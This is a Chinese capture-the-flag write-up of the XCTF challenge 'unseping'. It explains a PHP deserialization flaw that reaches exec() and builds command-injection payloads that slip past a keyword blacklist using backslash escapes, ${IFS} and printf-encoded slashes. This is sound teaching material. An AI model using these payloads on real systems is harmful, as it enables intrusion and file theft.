攻防世界web第二题unseping
这是题目
<?php
highlight_file(__FILE__);class ease{private $method;private $args;function __construct($method, $args) {$this->method = $method;$this->args = $args;}function __destruct(){if (in_array($this->method, array("ping"))) {call_user_func_array(array($this, $this->method), $this->args);}} function ping($ip){exec($ip, $result);var_dump($result);}function waf($str){if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {return $str;} else {echo "don't hack";}}function __wakeup(){foreach($this->args as $k => $v) {$this->args[$k] = $this->waf($v);}}
}$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>
代码分析:首先可以看到一个疑似重点函数
1. function ping($ip){exec($ip, $result); // exec 执行 $ip 传递来的命令,并将结果写入到 $result 中var_dump($result); // 展示 $result 的内容}看到exec,可以考虑是命令执行漏洞,大概率是采用绕过加命令执行获取flag
2. // __destruct() 当对象销毁时触发function __destruct(){// 如果 $this->method 为 ping 则会进入函数调用if (in_array($this->method, array("ping"))) {// call_user_func_array => 调用回调函数,并把 $this->args 数组传递过去作为参数call_user_func_array(array($this, $this->method), $this->args);}}查询文档可知call_user_func_array是一个回调函数,该函数第一个接收的是回调函数,第二个接收的是参数数组。
到这里,我们可以看出基本明确了:需要实例化一个ease对象,其
m e t h o d 参数应该是“ p i n g ” , 因为只有 method参数应该是“ping”,因为只有 method参数应该是“ping”,因为只有this->method 为 ping ,才会调用回调函数,回调函数的第一个变量就是ping函数,第二个参数就是我们构造的要执行的命令。
小结一下:
1.实例化ease对象,method参数是ping;
2.构造命令参数,使其回调ping函数时,执行我们构造的命令;
下面就要思考我们要获取flag需要怎样构造命令了,首先,常规思路肯定是先获取当前目录下的文件列表,所以我们先要构造一个“ls”命令。
所以我们需要实例化对象:
$ctf = new ease('ping', array('ls'));
汇总
<?phpclass ease{private $method;private $args;function __construct($method, $args) {$this->method = $method;$this->args = $args;}function __destruct(){if (in_array($this->method, array("ping"))) { // 如果 $this->method 为 ping 则进行调用call_user_func_array(array($this, $this->method), $this->args); // 调用回调函数 $this->args 是传参// $this 即 ease 这个对象, $this->method 你想要调用的 ease 类中的函数名 => ping}} function ping($ip){exec($ip, $result); // 让 exec 执行我们传入的命令,并将结果传入 $result 中var_dump($result); // 展示结果 => 考点,命令执行}function waf($str){if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {return $str;} else {echo "don't hack";}}function __wakeup(){ // 执行 unserialize 调用此方法foreach($this->args as $k => $v) {$this->args[$k] = $this->waf($v);}} }$ctf = new ease('ping', array('ls'));echo base64_encode(serialize($ctf)); // 运行代码,这里会显示序列化解echo "\n";// $ctf=@$_POST['ctf'];// @unserialize(base64_decode($ctf));?>
执行代码,得到输出
这里输出的结果是ease对象序列化后的内容,
**这时注意:**我们执行代码首先会进入 __wakeup() 函数,该函数会调用 waf() 方法,将我们传递的 array() 数组中的每一个元素都过一遍 WAF,如果出现黑名单字符,就会输出 don’t hack,反之则会返回。
我们将要执行的 ls 很明显时会被过滤的,所以要绕过。
我们构造的是ls命令,目的是获取flag所在的位置,ls的绕过方式可以用“l\s”
所以将 $ctf = new ease(‘ping’, array(‘ls’))修改为 $ctf = new ease(‘ping’, array(‘l\s’));再执行
得到这样一个结果:
我们实例化了一个对象,构造了ls命令,所以输出结果应该是包含了flag所在位置的一个序列化ease对象。
把这个对象post到后台:
得到“flag is here”也就是flag的位置,
知道了 Flag 存放的文件夹,下面我们要去读取这个文件夹下面的内容,使用 l\s flag_1s_here 构建序列化内容读取?你会发现,上面那个命令中空格与 flag 都是黑名单内容,这里又考察了命令执行的空格绕过。在 Linux 系统中,我们可以使用 ${IFS}进行空格的绕过:
所以需要构造ls flag 1s here 来查看flag:
构造如下
$ctf = new ease('ping', array('l\s${IFS}f\lag_1s_here'));echo base64_encode(serialize($ctf));
执行
得到序列化对象
post提交得到
至此,我们已经成功获得 Flag 的文件地址: flag_1s_here/flag_831b69012c67b35f.php
最后一次,构造读取该文件的命令如下:
$ctf = new ease('ping', array('c\at${IFS}f\lag_1s_here$(printf${IFS}"\57")f\lag_831b69012c67b35f.p\hp'));echo base64_encode(serialize($ctf));
执行得到flag内容的序列化对象:
最后post提交,得到flag:
总结:1.要能读懂代码
2.要知道如何构造命令
3.要会post提交序列化对象到后台
4.执行代码可以在线运行,也可以用VScode
5.post提交数据我用的是hackbar
知识点汇总:
1. function __construct($method, $args) { $this->method = $method; $this->args = $args; }
构造函数:当创建对象时自动调用。
2.function __destruct(){ if (in_array($this->method, array("ping"))) { call_user_func_array(array($this, $this->method), $this->args); }
析构函数:当对象销毁时自动调用
3.
exec($ip, $result);
exec()函数是用于执行系统命令的内置函数。它允许你在PHP脚本中执行命令行操作系统命令,并返回命令执行的结果。
function __wakeup(){foreach($this->args as $k => $v) {$this->args[$k] = $this->waf($v);}}
}
__wakeup() 是 PHP 中一个特殊的魔术方法。它在反序列化一个对象时被自动调用,允许开发者在对象从序列化格式还原为可用的 PHP 对象之前对其进行某些特殊处理。这个方法可以接受任意的参数,但在实际使用中,它通常不需要参数。
5.call_user_func_array(array($this, $this->method), $this->args);
php中的call_user_func_array用来调用回调函数,并且传递一个数组型的参数给这个回调函数,返回值是回调函数的返回值,如果出现错误则返回false。
6.整体流程:创建 ease对象,触发构造函数,脚本执行完毕,触发析构函数,回调ping函数,得到包含执行了对应命令结果的序列化对象,post上传,后台反序列化,调用wake_up函数,过滤命令。
相关文章:

攻防世界web第二题unseping
这是题目 <?php highlight_file(__FILE__);class ease{private $method;private $args;function __construct($method, $args) {$this->method $method;$this->args $args;}function __destruct(){if (in_array($this->method, array("ping"))) {cal…...
动手学深度学习-深度学习计算-3延后初始化
目录 实例化网络 小结 到目前为止,我们忽略了建立网络时需要做的以下这些事情: 我们定义了网络架构,但没有指定输入维度。 我们添加层时没有指定前一层的输出维度。 我们在初始化参数时,甚至没有足够的信息来确定模型应该包含…...

Linux | 零基础Ubuntu搭建JDK
目录 软件简介 在线文档 压缩包安装 下载地址 补:传输软件 传输等待 目录结构 解压安装 配置环境 更新环境 测试JDK结果 APT安装 软件简介 Java Development Kit (JDK) 是 Sun 公司(已被 Oracle 收购)针对 Java 开发员的软件开发工具包。自…...
Android `android.graphics` 包深度解析:架构与设计模式
Android android.graphics 包深度解析:架构与设计模式 目录 引言android.graphics 包概述核心类与架构 CanvasPaintBitmapColorPathShaderMatrix设计模式在 android.graphics 中的应用 工厂模式装饰者模式策略模式享元模式高级图形处理技术 硬件加速离屏渲染自定义 View 中的…...

WPF使用OpenCvSharp4
WPF使用OpenCvSharp4 创建项目安装OpenCvSharp4 创建项目 安装OpenCvSharp4 在解决方案资源管理器中,右键单击项目名称,选择“管理 NuGet 包”。搜索并安装以下包: OpenCvSharp4OpenCvSharp4.ExtensionsOpenCvSharp4.runtime.winSystem.Man…...
你不需要对其他成年人的情绪负责
在这个纷繁复杂的世界里,每个人都是独一无二的个体,背负着各自的故事、梦想与烦恼。在人际交往的广阔舞台上,我们时常会遇到这样的情境:朋友、同事、家人,甚至是陌生人,他们的情绪似乎总能不经意间影响到我…...
25秋招面试总结
秋招从八月底开始,陆陆续续面试了不少,现在也是已经尘埃落定,在这里做一些总结一些我个人的面试经历 腾讯 腾讯是我最早面试的一家,一开始捞我面试的是数字人民币,安全方向的岗位,属于腾讯金融科技这块。…...
高斯核函数(深入浅出)
目录 定义及数学形式主要特点应用示例小结 高斯核函数(Gaussian Kernel),又称径向基核(Radial Basis Function Kernel,RBF Kernel),是机器学习与模式识别中最常用的核函数之一。它通过在高维空间…...

支付宝百宝箱 工具,快速上手制作一个agent
作品:历史上的今天-作文素材积累 Datawhale 动手学AI Agent 关键词:AI助手开发、LangGPT框架 链接:百宝箱百宝箱平台是一款可以提供一站式 AI 原生应用的开发平台,您无需具有任何代码基础,只需通过自然语言即可三步完…...
六十:HTTP/2与gRPC框架
随着互联网技术的发展,应用程序之间的通信需求日益复杂和多样化。传统的HTTP/1.x协议虽然广泛应用,但在性能和功能方面已经难以满足现代应用的需求。为了解决这些问题,HTTP/2协议和基于其之上的gRPC框架应运而生。本文将介绍HTTP/2协议的特点…...
1.RPC基本原理
文章目录 RPC1.定义2.概念3.优缺点4.RPC结构5.RPC消息协议5.1 消息边界5.2 内容5.3 压缩 6.RPC的实现6.1 divide_protocol.py6.2 server.py6.3 client.py RPC 1.定义 远程过程调用(remote procedure call) 2.概念 广义:所有通过网络进行通讯,的调用统称为RPC调用 狭义:不采…...
vue2/3,Spring Boot以及生产环境跨域解决方案
vue2和vue3跨域解决方案 Vue 2 (基于 Webpack) 的跨域解决方案 1. 创建或编辑 vue.config.js 文件 Vue CLI为Webpack项目提供了简单的代理配置方式。你可以通过创建或编辑项目的根目录下的 vue.config.js 文件来设置开发服务器的代理规则: // vue.config.js mod…...
【centos8 镜像修改】centos8 镜像修改阿里云
要将 CentOS 8 的镜像源修改为阿里云镜像,你需要编辑 /etc/yum.repos.d/ 目录下的 .repo 文件。以下是具体的步骤: 备份原始的 .repo 文件: 在编辑之前,建议备份原始的 .repo 文件,以便在出现问题时可以恢复。 sudo cp…...

多线程编程初探:掌握基本概念与核心原理
目录 1 初识线程 1.1 线程的由来 1.2 线程的产生 1.3 进程 VS 线程 1.4 关于系统内部关于线程和进程的资源调度问题 2 页表、虚拟地址和物理地址 2.1 对物理地址的描述 2.2 对于页表设计的解析 3 线程的控制 3.1 进程创建 3.1.1 pthread_create 3.2 线程退出 3.2.1 主…...
【信息系统项目管理师】第13章:项目资源管理过程详解
更多内容请见: 备考信息系统项目管理师-专栏介绍和目录 文章目录 一、规划资源管理1、输入2、工具与技术3、输出二、估算活动资源1、输入2、工具与技术3、输出三、获取资源1、输入2、工具与技术3、输出四、建设团队1、输入2、工具与技术3、输出五、管理团队1、输入2、工具与技…...

vue3封装而成的APP ,在版本更新后,页面显示空白
一、问题展示 更新之后页面空白,打不开 ,主要是由于缓存造成的 二、解决办法 1、随机数代码实现 使用随机数来动态的生成静态资源目录名可以避免浏览器缓存,但同时每次也会导致浏览器每次都下载最新的资源。如果静态资源过大,可…...

GEE云计算、多源遥感、高光谱遥感技术蓝碳储量估算;红树林植被指数计算及提取
大气温室气体浓度不断增加,导致气候变暖加剧,随之会引发一系列气象、生态和环境灾害。如何降低温室气体浓度和应对气候变化已成为全球关注的焦点。海洋是地球上最大的“碳库”,“蓝碳”即海洋活动以及海洋生物(特别是红树林、盐沼和海草&…...

【知识】cuda检测GPU是否支持P2P通信及一些注意事项
转载请注明出处:小锋学长生活大爆炸[xfxuezhagn.cn] 如果本文帮助到了你,欢迎[点赞、收藏、关注]哦~ 代码流程 先检查所有GPU之间是否支持P2P通信;然后尝试启用GPU之间的P2P通信;再次检查所有GPU之间是否支持P2P通信。 test.cu&…...

用 Python 生成功能强大的二维码工具(支持自定义颜色与 Logo)
在很多项目中,二维码作为一种便捷的方式传递信息越来越常见。今天,我们将介绍如何用 Python 编写一个功能更全的二维码生成工具,它不仅支持自定义二维码的颜色,还能在二维码中间添加 logo。 1. 环境准备 首先,我们需…...
RTX5 数据队列传输流程
1、首先获取当前内存是否有值 rptr = (net_mpool_t*)osMemoryPoolAlloc(id_mp_net,0U); 说明:通过相同的key,可以操作值。 2、设值到队列中 如果有值,则将rptr变量的值放入消息队列id_mp_net rptr->len = USART2_RxBfr[0]+1;memcpy (rptr->Recvbuf, &USART2_Rx…...

使用docker在3台服务器上搭建基于redis 6.x的一主两从三台均是哨兵模式
一、环境及版本说明 如果服务器已经安装了docker,则忽略此步骤,如果没有安装,则可以按照一下方式安装: 1. 在线安装(有互联网环境): 请看我这篇文章 传送阵>> 点我查看 2. 离线安装(内网环境):请看我这篇文章 传送阵>> 点我查看 说明:假设每台服务器已…...

大话软工笔记—需求分析概述
需求分析,就是要对需求调研收集到的资料信息逐个地进行拆分、研究,从大量的不确定“需求”中确定出哪些需求最终要转换为确定的“功能需求”。 需求分析的作用非常重要,后续设计的依据主要来自于需求分析的成果,包括: 项目的目的…...
OpenPrompt 和直接对提示词的嵌入向量进行训练有什么区别
OpenPrompt 和直接对提示词的嵌入向量进行训练有什么区别 直接训练提示词嵌入向量的核心区别 您提到的代码: prompt_embedding = initial_embedding.clone().requires_grad_(True) optimizer = torch.optim.Adam([prompt_embedding...

中医有效性探讨
文章目录 西医是如何发展到以生物化学为药理基础的现代医学?传统医学奠基期(远古 - 17 世纪)近代医学转型期(17 世纪 - 19 世纪末)现代医学成熟期(20世纪至今) 中医的源远流长和一脉相承远古至…...
JS设计模式(4):观察者模式
JS设计模式(4):观察者模式 一、引入 在开发中,我们经常会遇到这样的场景:一个对象的状态变化需要自动通知其他对象,比如: 电商平台中,商品库存变化时需要通知所有订阅该商品的用户;新闻网站中࿰…...
多模态图像修复系统:基于深度学习的图片修复实现
多模态图像修复系统:基于深度学习的图片修复实现 1. 系统概述 本系统使用多模态大模型(Stable Diffusion Inpainting)实现图像修复功能,结合文本描述和图片输入,对指定区域进行内容修复。系统包含完整的数据处理、模型训练、推理部署流程。 import torch import numpy …...

Unity UGUI Button事件流程
场景结构 测试代码 public class TestBtn : MonoBehaviour {void Start(){var btn GetComponent<Button>();btn.onClick.AddListener(OnClick);}private void OnClick(){Debug.Log("666");}}当添加事件时 // 实例化一个ButtonClickedEvent的事件 [Formerl…...
git: early EOF
macOS报错: Initialized empty Git repository in /usr/local/Homebrew/Library/Taps/homebrew/homebrew-core/.git/ remote: Enumerating objects: 2691797, done. remote: Counting objects: 100% (1760/1760), done. remote: Compressing objects: 100% (636/636…...

从物理机到云原生:全面解析计算虚拟化技术的演进与应用
前言:我的虚拟化技术探索之旅 我最早接触"虚拟机"的概念是从Java开始的——JVM(Java Virtual Machine)让"一次编写,到处运行"成为可能。这个软件层面的虚拟化让我着迷,但直到后来接触VMware和Doc…...

Kubernetes 节点自动伸缩(Cluster Autoscaler)原理与实践
在 Kubernetes 集群中,如何在保障应用高可用的同时有效地管理资源,一直是运维人员和开发者关注的重点。随着微服务架构的普及,集群内各个服务的负载波动日趋明显,传统的手动扩缩容方式已无法满足实时性和弹性需求。 Cluster Auto…...